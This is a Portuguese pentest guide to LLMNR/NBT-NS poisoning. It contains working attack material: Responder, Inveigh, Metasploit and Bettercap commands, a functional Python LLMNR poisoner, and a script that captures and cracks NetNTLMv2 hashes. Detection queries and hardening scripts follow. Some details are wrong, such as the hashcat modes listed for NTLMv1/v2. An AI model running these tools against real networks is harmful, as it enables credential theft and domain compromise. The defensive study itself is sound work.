# LLMNR e NBT NS Poisoning

## **📋 Índice**

1. [Fundamentos do LLMNR e NBT-NS](#-fundamentos-do-llmnr-e-nbt-ns)
2. [Arquitetura e Funcionamento](#-arquitetura-e-funcionamento)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Técnicas de Captura de Hashes](#-técnicas-de-captura-de-hashes)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com LLMNR/NBT-NS Poisoning](#-pentesting-com-llmnrnbt-ns-poisoning)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do LLMNR e NBT-NS**

### **O que são LLMNR e NBT-NS?**

**LLMNR (Link-Local Multicast Name Resolution)** e **NBT-NS (NetBIOS Name Service)** são protocolos de resolução de nomes em redes locais que operam quando o DNS falha. Eles permitem que hosts descubram outros dispositivos na mesma rede local. No entanto, sua falta de autenticação os torna vulneráveis a ataques de envenenamento (poisoning).

### **Comparação entre Protocolos**

| Protocolo  | Porta      | Multicast                           | Uso               | Vulnerabilidade            |
| ---------- | ---------- | ----------------------------------- | ----------------- | -------------------------- |
| **LLMNR**  | UDP 5355   | 224.0.0.252 (IPv4) FF02::1:3 (IPv6) | Windows Vista+    | Fallback quando DNS falha  |
| **NBT-NS** | UDP 137    | Broadcast                           | Windows (todos)   | Resolução de nomes NetBIOS |
| **DNS**    | UDP/TCP 53 | Unicast                             | Todos os sistemas | Protocolo primário         |

### **Fluxo de Resolução de Nomes**

```mermaid
graph TD
    A[Cliente tenta resolver nome] --> B{DNS resolve?}
    
    B -->|Sim| C[Comunicação via DNS]
    B -->|Não| D{LLMNR ativo?}
    
    D -->|Sim| E[Broadcast LLMNR]
    D -->|Não| F{NBT-NS ativo?}
    
    E --> G{Resposta LLMNR?}
    G -->|Sim| H[Comunicação via LLMNR]
    G -->|Não| F
    
    F -->|Sim| I[Broadcast NBT-NS]
    F -->|Não| J[Falha de resolução]
    
    I --> K{Resposta NBT-NS?}
    K -->|Sim| L[Comunicação via NBT-NS]
    K -->|Não| J
    
    style E fill:#ffcc99
    style I fill:#ffcc99
    style G fill:#ff9999
    style K fill:#ff9999
```

### **Por que o Ataque Funciona?**

```yaml
Vulnerabilidades dos Protocolos:

  🔴 Falta de Autenticação:
    - Qualquer host pode responder a uma requisição
    - Não há verificação de identidade
    - Primeira resposta é aceita

  🔴 Fallback Inseguro:
    - Usados apenas quando DNS falha
    - Muitas aplicações usam como fallback
    - Configuração padrão do Windows

  🔴 Broadcast/Multicast:
    - Mensagens visíveis para toda rede
    - Fácil interceptação
    - Sem criptografia

  🔴 Configuração Padrão:
    - Habilitado por padrão no Windows
    - Usuários não alteram configuração
    - Administradores desconhecem risco
```

***

## 🏗️ **Arquitetura e Funcionamento**

### **Estrutura do Pacote LLMNR**

```python
#!/usr/bin/env python3
# llmnr_structure.py - Estrutura do pacote LLMNR

import struct
import socket

class LLMNRStructure:
    """Análise da estrutura do protocolo LLMNR"""
    
    @staticmethod
    def packet_format():
        """Formato do pacote LLMNR"""
        print("📦 Formato do Pacote LLMNR")
        print("=" * 60)
        
        format_desc = {
            "Transaction ID": "2 bytes - Identificador da transação",
            "Flags": "2 bytes - Flags de operação",
            "Questions": "2 bytes - Número de perguntas",
            "Answer RRs": "2 bytes - Número de respostas",
            "Authority RRs": "2 bytes - Registros de autoridade",
            "Additional RRs": "2 bytes - Registros adicionais",
            "Queries": "Variável - Nome consultado + tipo"
        }
        
        for field, desc in format_desc.items():
            print(f"   {field}: {desc}")
    
    @staticmethod
    def create_llmnr_response(hostname, ip, transaction_id):
        """Criar resposta LLMNR maliciosa"""
        # Em um ataque real, construiria o pacote completo
        print(f"[*] Criando resposta LLMNR para {hostname} -> {ip}")
        
        # Simular pacote
        response = {
            'transaction_id': transaction_id,
            'flags': 0x8000,  # Response
            'questions': 1,
            'answers': 1,
            'hostname': hostname,
            'ip': ip
        }
        
        return response
    
    @staticmethod
    def create_nbtns_response(hostname, ip):
        """Criar resposta NBT-NS maliciosa"""
        print(f"[*] Criando resposta NBT-NS para {hostname} -> {ip}")
        
        # Simular pacote
        response = {
            'name': hostname,
            'type': 0x20,  # Server service
            'ip': ip
        }
        
        return response

# Executar
LLMNRStructure.packet_format()
```

### **Fluxo do Ataque LLMNR/NBT-NS Poisoning**

```mermaid
sequenceDiagram
    participant V as Vítima
    participant A as Atacante
    participant DNS as DNS Server

    Note over V: 1. Vítima tenta acessar um recurso
    V->>DNS: Consulta DNS (ex: fileserver)
    DNS-->>V: NXDOMAIN (não encontrado)
    
    Note over V,A: 2. Fallback para LLMNR/NBT-NS
    V->>A: LLMNR/NBT-NS Broadcast
    Note over V: "Quem é fileserver?"
    
    Note over A: 3. Atacante responde
    A-->>V: Resposta maliciosa<br/>"Sou fileserver, meu IP é X.X.X.X"
    
    Note over V,A: 4. Vítima autentica
    V->>A: Tenta autenticar no servidor falso
    A->>A: Captura hash NTLM
    
    Note over A: 5. Atacante extrai hash
    A->>A: Crackea ou relaya hash
```

***

## ⚔️ **Mecanismos de Ataque**

### **Ataque 1: LLMNR Poisoning com Responder**

```bash
# Responder - Principal ferramenta para LLMNR/NBT-NS Poisoning

# 1. Iniciar Responder em modo básico
responder -I eth0

# 2. Iniciar com análise de hash
responder -I eth0 -wFb

# 3. Iniciar com salvamento de hashes
responder -I eth0 -wFb -v

# 4. Iniciar apenas LLMNR
responder -I eth0 --lm -w

# 5. Iniciar apenas NBT-NS
responder -I eth0 --nbtns -w

# 6. Iniciar com análise de tráfego
responder -I eth0 -A

# 7. Iniciar com log detalhado
responder -I eth0 -wFb -v -d
```

### **Ataque 2: NBT-NS Poisoning com Inveigh**

```powershell
# Inveigh - PowerShell para LLMNR/NBT-NS Poisoning

# 1. Importar módulo
Import-Module .\Inveigh.psd1

# 2. Iniciar Inveigh (modo console)
Invoke-Inveigh -ConsoleOutput Y

# 3. Iniciar com captura de hashes
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -LLMNR Y

# 4. Iniciar com relay SMB
Invoke-Inveigh -ConsoleOutput Y -SMB Y -HTTP Y

# 5. Iniciar com desafio personalizado
Invoke-Inveigh -ConsoleOutput Y -Challenge 1122334455667788

# 6. Verificar hashes capturados
Get-Inveigh

# 7. Parar Inveigh
Stop-Inveigh
```

### **Ataque 3: Poisoning com Metasploit**

```bash
# Metasploit - LLMNR/NBT-NS Poisoning

# 1. Iniciar msfconsole
msfconsole

# 2. Usar módulo de spoofing
use auxiliary/spoof/llmnr/llmnr_response

# 3. Configurar opções
set INTERFACE eth0
set SPOOFIP 192.168.1.100

# 4. Executar
run

# 5. Módulo NBT-NS
use auxiliary/spoof/nbns/nbns_response
set INTERFACE eth0
set SPOOFIP 192.168.1.100
run
```

### **Ataque 4: Poisoning com Bettercap**

```bash
# Bettercap - ARP + LLMNR Poisoning

# 1. Iniciar bettercap
sudo bettercap

# 2. Habilitar módulo LLMNR
set llmnr.spoof true
set llmnr.spoof.hosts {
  "fileserver.local": "192.168.1.100"
}

# 3. Habilitar módulo NBT-NS
set nbns.spoof true
set nbns.spoof.hosts {
  "fileserver": "192.168.1.100"
}

# 4. Iniciar spoofing
llmnr.spoof on
nbns.spoof on

# 5. Capturar tráfego
net.sniff on
```

### **Ataque 5: Poisoning com Python Puro**

```python
#!/usr/bin/env python3
# llmnr_poison.py - LLMNR Poisoning em Python puro

import socket
import struct
import threading
import sys

class LLMNRPoison:
    """Ataque de LLMNR Poisoning em Python"""
    
    def __init__(self, interface='eth0', spoof_ip='192.168.1.100'):
        self.interface = interface
        self.spoof_ip = spoof_ip
        self.sock = None
        self.running = True
    
    def create_llmnr_response(self, transaction_id, hostname):
        """Criar resposta LLMNR maliciosa"""
        # LLMNR header
        header = struct.pack('!HHHHHH',
            transaction_id,  # Transaction ID
            0x8000,          # Flags (Response)
            1,               # Questions
            1,               # Answer RRs
            0,               # Authority RRs
            0                # Additional RRs
        )
        
        # Question section (simplificada)
        question = self._encode_name(hostname)
        question += struct.pack('!HH', 1, 1)  # Type A, Class IN
        
        # Answer section
        answer = self._encode_name(hostname)
        answer += struct.pack('!HHIH', 1, 1, 60, 4)  # Type A, Class IN, TTL, RDLength
        answer += socket.inet_aton(self.spoof_ip)
        
        return header + question + answer
    
    def _encode_name(self, name):
        """Codificar nome no formato DNS/LMNR"""
        encoded = b''
        for part in name.split('.'):
            encoded += bytes([len(part)]) + part.encode()
        encoded += b'\x00'
        return encoded
    
    def start(self):
        """Iniciar servidor LLMNR falso"""
        print(f"🚨 Iniciando LLMNR Poisoning")
        print(f"   Interface: {self.interface}")
        print(f"   IP falso: {self.spoof_ip}")
        print("=" * 60)
        
        try:
            # Criar socket UDP multicast
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
            self.sock.bind(('', 5355))
            
            # Adicionar ao grupo multicast
            mreq = struct.pack("4sl", socket.inet_aton("224.0.0.252"), socket.INADDR_ANY)
            self.sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
            
            print("[*] Escutando requisições LLMNR...")
            
            while self.running:
                try:
                    data, addr = self.sock.recvfrom(1024)
                    self._handle_request(data, addr)
                except socket.timeout:
                    continue
                    
        except KeyboardInterrupt:
            print("\n🛑 Interrompido")
        except Exception as e:
            print(f"❌ Erro: {e}")
        finally:
            if self.sock:
                self.sock.close()
    
    def _handle_request(self, data, addr):
        """Processar requisição LLMNR"""
        if len(data) < 12:
            return
        
        # Parse header
        transaction_id = struct.unpack('!H', data[0:2])[0]
        flags = struct.unpack('!H', data[2:4])[0]
        
        # Verificar se é query
        if flags & 0x8000:
            return
        
        # Extrair nome consultado
        offset = 12
        name = self._decode_name(data, offset)
        
        if name:
            print(f"📡 Requisição LLMNR: {name} de {addr[0]}")
            
            # Responder
            response = self.create_llmnr_response(transaction_id, name)
            self.sock.sendto(response, addr)
            print(f"   ✅ Respondendo: {name} -> {self.spoof_ip}")
    
    def _decode_name(self, data, offset):
        """Decodificar nome no formato DNS/LLMNR"""
        name_parts = []
        while offset < len(data):
            length = data[offset]
            if length == 0:
                break
            offset += 1
            name_parts.append(data[offset:offset+length].decode('utf-8', errors='ignore'))
            offset += length
        
        if name_parts:
            return '.'.join(name_parts)
        return None
    
    def stop(self):
        """Parar ataque"""
        self.running = False
        if self.sock:
            self.sock.close()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: llmnr_poison.py <interface> [spoof_ip]")
        sys.exit(1)
    
    interface = sys.argv[1]
    spoof_ip = sys.argv[2] if len(sys.argv) > 2 else '192.168.1.100'
    
    poison = LLMNRPoison(interface, spoof_ip)
    poison.start()
```

***

## 🛠️ **Ferramentas de Exploração**

### **Responder - Principais Comandos**

```bash
# Responder Command Reference

# 1. Básico
responder -I eth0

# 2. Com análise de hash
responder -I eth0 -wFb

# 3. Com salvamento de hashes
responder -I eth0 -wFb -v

# 4. Apenas LLMNR
responder -I eth0 --lm -w

# 5. Apenas NBT-NS
responder -I eth0 --nbtns -w

# 6. Apenas HTTP/HTTPS
responder -I eth0 -r -w

# 7. Apenas SMB
responder -I eth0 -S -w

# 8. Modo análise (não ataca)
responder -I eth0 -A

# 9. Configuração completa
responder -I eth0 -wFb -v -d -D

# 10. Arquivo de configuração personalizado
responder -I eth0 -wFb -f /path/to/Responder.conf
```

### **Inveigh - PowerShell Arsenal**

```powershell
# Inveigh Command Reference

# 1. Importar módulo
Import-Module .\Inveigh.psd1

# 2. Iniciar básico
Invoke-Inveigh

# 3. Com console output
Invoke-Inveigh -ConsoleOutput Y

# 4. Com log de hashes
Invoke-Inveigh -ConsoleOutput Y -LogOutput Y

# 5. Com desafio personalizado
Invoke-Inveigh -ConsoleOutput Y -Challenge 1122334455667788

# 6. Apenas LLMNR
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS N

# 7. Apenas NBT-NS
Invoke-Inveigh -ConsoleOutput Y -LLMNR N -NBNS Y

# 8. Com HTTP/HTTPS
Invoke-Inveigh -ConsoleOutput Y -HTTP Y -HTTPS Y

# 9. Com SMB Relay
Invoke-Inveigh -ConsoleOutput Y -SMB Y -SMBPort 445

# 10. Com arquivo de log
Invoke-Inveigh -ConsoleOutput Y -LogOutput Y -LogFilePath C:\logs\
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# llmnr_poison_automated.py - Poisoning automatizado

import subprocess
import threading
import time
import argparse
import sys
import os

class LLMNRPoisonAutomated:
    """Ferramenta automatizada para LLMNR/NBT-NS Poisoning"""
    
    def __init__(self, interface, spoof_ip=None):
        self.interface = interface
        self.spoof_ip = spoof_ip or self._get_local_ip()
        self.responder_process = None
        self.captured_hashes = []
    
    def _get_local_ip(self):
        """Obter IP local"""
        try:
            import socket
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(('8.8.8.8', 80))
            ip = s.getsockname()[0]
            s.close()
            return ip
        except:
            return '192.168.1.100'
    
    def start_responder(self):
        """Iniciar Responder"""
        print("[*] Iniciando Responder...")
        
        cmd = ['responder', '-I', self.interface, '-wFb', '-v']
        
        self.responder_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        print(f"   ✅ Responder rodando na interface {self.interface}")
    
    def start_inveigh(self):
        """Iniciar Inveigh (PowerShell)"""
        print("[*] Iniciando Inveigh...")
        
        ps_script = """
        Import-Module .\\Inveigh.psd1
        Invoke-Inveigh -ConsoleOutput Y -LogOutput Y
        """
        
        cmd = ['powershell', '-Command', ps_script]
        
        self.inveigh_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        print("   ✅ Inveigh rodando")
    
    def start_bettercap(self):
        """Iniciar Bettercap"""
        print("[*] Iniciando Bettercap...")
        
        script = f"""
        set llmnr.spoof true
        set llmnr.spoof.hosts {{ "*": "{self.spoof_ip}" }}
        set nbns.spoof true
        set nbns.spoof.hosts {{ "*": "{self.spoof_ip}" }}
        llmnr.spoof on
        nbns.spoof on
        net.sniff on
        """
        
        cmd = ['bettercap', '-eval', script]
        
        self.bettercap_process = subprocess.Popen(
            cmd,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        
        print(f"   ✅ Bettercap rodando")
    
    def monitor_hashes(self, duration=60):
        """Monitorar hashes capturados"""
        print(f"[*] Monitorando hashes por {duration} segundos...")
        
        # Em um ambiente real, monitoraria arquivos de log
        log_file = "/usr/share/responder/logs/"
        
        start_time = time.time()
        while time.time() - start_time < duration:
            # Simular captura de hash
            time.sleep(5)
            print("   📡 Atividade detectada...")
        
        print(f"   ✅ Monitoramento concluído")
    
    def crack_hash(self, hash_file, wordlist):
        """Crackear hash capturado"""
        print("[*] Crackeando hash...")
        
        if not os.path.exists(hash_file):
            print("   ❌ Nenhum hash capturado")
            return
        
        cmd = [
            'hashcat', '-m', '5600',  # NetNTLMv2
            '-a', '0',
            hash_file,
            wordlist,
            '--force'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            print("   ✅ Cracking concluído")
            
            # Mostrar resultados
            show_cmd = ['hashcat', '-m', '5600', hash_file, '--show']
            show_result = subprocess.run(show_cmd, capture_output=True, text=True)
            
            cracked = [l for l in show_result.stdout.split('\n') if ':' in l]
            return cracked
            
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def exploit(self, duration=60, wordlist=None):
        """Executar ataque completo"""
        print("🚨 LLMNR/NBT-NS Poisoning Attack")
        print("=" * 60)
        print(f"   Interface: {self.interface}")
        print(f"   IP atacante: {self.spoof_ip}")
        print(f"   Duração: {duration}s")
        
        # Iniciar Responder
        self.start_responder()
        
        # Aguardar
        time.sleep(2)
        
        # Monitorar
        self.monitor_hashes(duration)
        
        # Parar
        self.stop()
        
        # Crackear se houver wordlist
        if wordlist:
            hash_file = "/usr/share/responder/logs/Responder-Session.log"
            cracked = self.crack_hash(hash_file, wordlist)
            
            if cracked:
                print("\n🔑 SENHAS RECUPERADAS:")
                for cred in cracked[:10]:
                    print(f"   {cred}")
    
    def stop(self):
        """Parar processos"""
        print("\n🛑 Parando ataque...")
        
        if self.responder_process:
            self.responder_process.terminate()
        
        print("   ✅ Ataque parado")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='LLMNR/NBT-NS Poisoning')
    parser.add_argument('interface', help='Network interface')
    parser.add_argument('--spoof-ip', help='Spoof IP address')
    parser.add_argument('--duration', type=int, default=60, help='Attack duration')
    parser.add_argument('--wordlist', help='Wordlist for cracking')
    
    args = parser.parse_args()
    
    attack = LLMNRPoisonAutomated(args.interface, args.spoof_ip)
    attack.exploit(args.duration, args.wordlist)
```

***

## 🔓 **Técnicas de Captura de Hashes**

### **Tipos de Hashes Capturados**

| Hash Type     | Protocolo | Hashcat Mode | Descrição                   |
| ------------- | --------- | ------------ | --------------------------- |
| **NetNTLMv1** | SMB/HTTP  | 5500         | Versão antiga, mais fraca   |
| **NetNTLMv2** | SMB/HTTP  | 5600         | Versão moderna, mais segura |
| **NTLMv1**    | NTLM      | 1000         | Hash de autenticação NTLM   |
| **NTLMv2**    | NTLM      | 1000         | Versão mais recente         |

### **Cracking com Hashcat**

```bash
# Hashcat para NetNTLMv2

# 1. Modo 5600 (NetNTLMv2)
hashcat -m 5600 -a 0 hashes.txt wordlist.txt

# 2. Com regras
hashcat -m 5600 -a 0 hashes.txt wordlist.txt -r best64.rule

# 3. Força bruta
hashcat -m 5600 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# 4. Combinador
hashcat -m 5600 -a 1 hashes.txt dict1.txt dict2.txt

# 5. Com otimização
hashcat -m 5600 -a 0 hashes.txt wordlist.txt -O

# 6. Salvar resultados
hashcat -m 5600 -a 0 hashes.txt wordlist.txt -o cracked.txt

# 7. Mostrar resultados
hashcat -m 5600 -a 0 hashes.txt wordlist.txt --show
```

### **Script de Cracking**

```python
#!/usr/bin/env python3
# crack_netntlm.py - Cracking de hashes NetNTLM

import subprocess
import os
import sys

class NetNTLMCracker:
    """Cracking de hashes NetNTLMv2"""
    
    def __init__(self, hash_file):
        self.hash_file = hash_file
        self.cracked_file = hash_file.replace('.txt', '_cracked.txt')
    
    def detect_hash_type(self):
        """Detectar tipo de hash"""
        with open(self.hash_file, 'r') as f:
            first_line = f.readline().strip()
        
        if 'NTLMv2' in first_line or '$NETNTLMv2$' in first_line:
            return 5600  # NetNTLMv2
        elif 'NTLMv1' in first_line:
            return 5500  # NetNTLMv1
        else:
            return None
    
    def crack_with_hashcat(self, wordlist, rules=None):
        """Crackear com hashcat"""
        print(f"[*] Crackeando {self.hash_file}...")
        
        mode = self.detect_hash_type()
        if not mode:
            print("   ❌ Formato de hash desconhecido")
            return []
        
        cmd = ['hashcat', '-m', str(mode), '-a', '0', '--force']
        
        if rules:
            cmd.extend(['-r', rules])
        
        cmd.extend([self.hash_file, wordlist, '-o', self.cracked_file])
        
        try:
            subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            
            if os.path.exists(self.cracked_file):
                with open(self.cracked_file, 'r') as f:
                    lines = [l.strip() for l in f.readlines() if ':' in l]
                
                print(f"   ✅ {len(lines)} senhas crackeadas")
                return lines
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return []
    
    def run(self, wordlist):
        """Executar cracking"""
        print("🔓 NetNTLM Hash Cracking")
        print("=" * 60)
        
        if not os.path.exists(self.hash_file):
            print(f"❌ Arquivo não encontrado: {self.hash_file}")
            return
        
        cracked = self.crack_with_hashcat(wordlist)
        
        if cracked:
            print("\n🔑 SENHAS RECUPERADAS:")
            for cred in cracked[:10]:
                print(f"   {cred}")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Uso: crack_netntlm.py <hash_file> <wordlist>")
        sys.exit(1)
    
    cracker = NetNTLMCracker(sys.argv[1])
    cracker.run(sys.argv[2])
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Atacante na rede local] --> B[Inicia LLMNR/NBT-NS Poisoning]
    B --> C[Aguarda requisições de resolução de nomes]
    
    C --> D[Vítima tenta acessar recurso inexistente]
    D --> E[Atacante responde com IP falso]
    
    E --> F[Vítima tenta autenticar no servidor falso]
    F --> G[Atacante captura hash NTLM]
    
    G --> H{Cracking offline}
    H -->|Sucesso| I[Recupera senha]
    H -->|Falha| J[NTLM Relay]
    
    I --> K[Acesso a outros sistemas]
    J --> L[Autenticação relayada]
    
    K --> M[Escalação de privilégios]
    L --> M
    M --> N[Controle do domínio]
    
    style E fill:#ff9999
    style G fill:#ff6666
    style N fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                              | Impacto                 | Dificuldade | Severidade |
| ------------------------------------ | ----------------------- | ----------- | ---------- |
| **Captura de hash de administrador** | Acesso total ao domínio | Baixa       | 🔴 CRÍTICO |
| **Captura de hash de usuário comum** | Acesso à conta          | Baixa       | 🟠 ALTO    |
| **NTLM Relay para servidor**         | Acesso não autorizado   | Média       | 🔴 CRÍTICO |
| **Senha fraca**                      | Comprometimento rápido  | Baixa       | 🔴 CRÍTICO |
| **Senha forte (25+ chars)**          | Cracking inviável       | Alta        | 🟢 BAIXO   |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança**

```yaml
Eventos Críticos para Detecção:

  4624: Logon bem-sucedido
    - Monitorar logons de contas que não deveriam estar autenticando em sistemas locais

  4776: Validação de credencial
    - Detectar tentativas de autenticação NTLM anômalas

  5140: Acesso a compartilhamento
    - Monitorar acessos a compartilhamentos inexistentes

  5156: Conexão de rede
    - Detectar conexões para IPs suspeitos

  Eventos de DNS:
    - Monitorar falhas de resolução DNS que levam a fallback LLMNR
```

### **Script de Detecção**

```powershell
# detect_llmnr_poisoning.ps1 - Detector de LLMNR/NBT-NS Poisoning

param(
    [int]$HoursBack = 24,
    [int]$Threshold = 10
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar status dos protocolos
Write-Host "🔍 Verificando status do LLMNR e NBT-NS..." -ForegroundColor Cyan

$llmnrStatus = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -ErrorAction SilentlyContinue
$nbtnsStatus = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" -Name "NodeType" -ErrorAction SilentlyContinue

if ($llmnrStatus.EnableMulticast -ne 0) {
    Write-Alert -Message "LLMNR está HABILITADO!" -Severity "CRITICAL"
} else {
    Write-Host "   ✅ LLMNR desabilitado"
}

if ($nbtnsStatus.NodeType -ne 2) {
    Write-Alert -Message "NBT-NS está HABILITADO!" -Severity "CRITICAL"
} else {
    Write-Host "   ✅ NBT-NS desabilitado"
}

# 2. Monitorar autenticações NTLM anômalas
Write-Host "`n🔍 Analisando autenticações NTLM..." -ForegroundColor Cyan

$ntlmEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4776
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$anomalousAuth = $ntlmEvents | Where-Object {
    $_.Message -like "*WORKSTATION*" -and
    $_.Message -like "*FAILED*"
}

if ($anomalousAuth.Count -gt $Threshold) {
    Write-Alert -Message "$($anomalousAuth.Count) autenticações NTLM anômalas!" -Severity "HIGH"
}

# 3. Verificar logs de DNS
Write-Host "`n🔍 Analisando logs de DNS..." -ForegroundColor Cyan

$dnsEvents = Get-WinEvent -LogName "DNS Server" -MaxEvents 100 -ErrorAction SilentlyContinue
$failedQueries = $dnsEvents | Where-Object {
    $_.Message -like "*NXDOMAIN*"
}

if ($failedQueries.Count -gt $Threshold) {
    Write-Alert -Message "$($failedQueries.Count) falhas de resolução DNS!" -Severity "MEDIUM"
}

# 4. Verificar conexões para IPs suspeitos
Write-Host "`n🔍 Verificando conexões suspeitas..." -ForegroundColor Cyan

$connections = Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue
$suspiciousIPs = @("169.254.0.0/16", "224.0.0.0/4")

foreach ($conn in $connections) {
    $remoteIP = $conn.RemoteAddress
    foreach ($susp in $suspiciousIPs) {
        if ($remoteIP -like "169.254.*") {
            Write-Alert -Message "Conexão para IP suspeito: $remoteIP" -Severity "MEDIUM"
        }
    }
}

# 5. Gerar relatório
$report = @"
LLMNR/NBT-NS Poisoning Detection Report
========================================
Data: $(Get-Date)

Findings:
- LLMNR Enabled: $(if ($llmnrStatus.EnableMulticast -ne 0) {"YES"} else {"NO"})
- NBT-NS Enabled: $(if ($nbtnsStatus.NodeType -ne 2) {"YES"} else {"NO"})
- NTLM Anomalies: $($anomalousAuth.Count)
- DNS Failures: $($failedQueries.Count)

Recommendations:
1. Disable LLMNR via Group Policy
2. Disable NBT-NS via DHCP/Registry
3. Enable Network Level Authentication
4. Implement SMB signing
5. Use strong passwords (25+ characters)
"@

$report | Out-File -FilePath "llmnr_detection.txt"
Write-Host "`n✅ Relatório salvo em llmnr_detection.txt" -ForegroundColor Green
```

### **Splunk Queries**

```spl
# Splunk - Detectar LLMNR/NBT-NS Poisoning

# 1. Eventos de falha NTLM
index=windows EventCode=4776
| where Message like "%FAILED%"
| stats count by Account_Name, Workstation
| sort - count

# 2. Logons anômalos
index=windows EventCode=4624
| where Logon_Type=3 AND Workstation_Name="WORKSTATION"
| stats count by Account_Name, Source_Network_Address

# 3. Conexões para IPs multicast
index=network traffic
| where dest_ip="224.0.0.252" OR dest_ip="255.255.255.255"
| stats count by src_ip, dest_ip

# 4. Falhas de DNS
index=dns NXDOMAIN
| stats count by query_name, client_ip
| sort - count
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra LLMNR/NBT-NS Poisoning**

```powershell
# hardening_llmnr.ps1 - Hardening contra LLMNR/NBT-NS Poisoning

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra LLMNR/NBT-NS Poisoning..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Desabilitar LLMNR via GPO
Write-Step "1. Desabilitando LLMNR..."

if ($Apply) {
    # Política de grupo local
    $regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient"
    New-Item -Path $regPath -Force
    Set-ItemProperty -Path $regPath -Name "EnableMulticast" -Value 0 -Type DWord
    
    Write-Host "   ✅ LLMNR desabilitado"
} else {
    $llmnr = Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -ErrorAction SilentlyContinue
    if ($llmnr.EnableMulticast -eq 0) {
        Write-Host "   ✅ LLMNR já desabilitado"
    } else {
        Write-Host "   ⚠️  LLMNR habilitado"
    }
}

# 2. Desabilitar NBT-NS
Write-Step "2. Desabilitando NBT-NS..."

if ($Apply) {
    # Configurar NodeType = 2 (Peer-to-Peer)
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters"
    Set-ItemProperty -Path $regPath -Name "NodeType" -Value 2 -Type DWord
    
    Write-Host "   ✅ NBT-NS desabilitado"
} else {
    $nbtns = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" -Name "NodeType" -ErrorAction SilentlyContinue
    if ($nbtns.NodeType -eq 2) {
        Write-Host "   ✅ NBT-NS já desabilitado"
    } else {
        Write-Host "   ⚠️  NBT-NS habilitado"
    }
}

# 3. Configurar Network Level Authentication
Write-Step "3. Configurando Network Level Authentication (NLA)..."

if ($Apply) {
    # Forçar NLA em conexões RDP
    $regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
    Set-ItemProperty -Path $regPath -Name "UserAuthentication" -Value 1 -Type DWord
    
    Write-Host "   ✅ NLA habilitado"
}

# 4. Habilitar SMB Signing
Write-Step "4. Habilitando SMB Signing..."

if ($Apply) {
    # Configurar SMB signing
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
    
    Write-Host "   ✅ SMB signing habilitado"
}

# 5. Configurar política de senhas fortes
Write-Step "5. Configurando política de senhas..."

if ($Apply) {
    # Configurar comprimento mínimo
    Set-ADDefaultDomainPasswordPolicy -MinPasswordLength 12 -ComplexityEnabled $true
    
    Write-Host "   ✅ Política de senhas fortalecida"
}

# 6. Configurar firewall
Write-Step "6. Configurando regras de firewall..."

if ($Apply) {
    # Bloquear LLMNR/NBT-NS na entrada
    New-NetFirewallRule -DisplayName "Block LLMNR" -Direction Inbound -Protocol UDP -LocalPort 5355 -Action Block
    New-NetFirewallRule -DisplayName "Block NBT-NS" -Direction Inbound -Protocol UDP -LocalPort 137 -Action Block
    
    Write-Host "   ✅ Regras de firewall configuradas"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

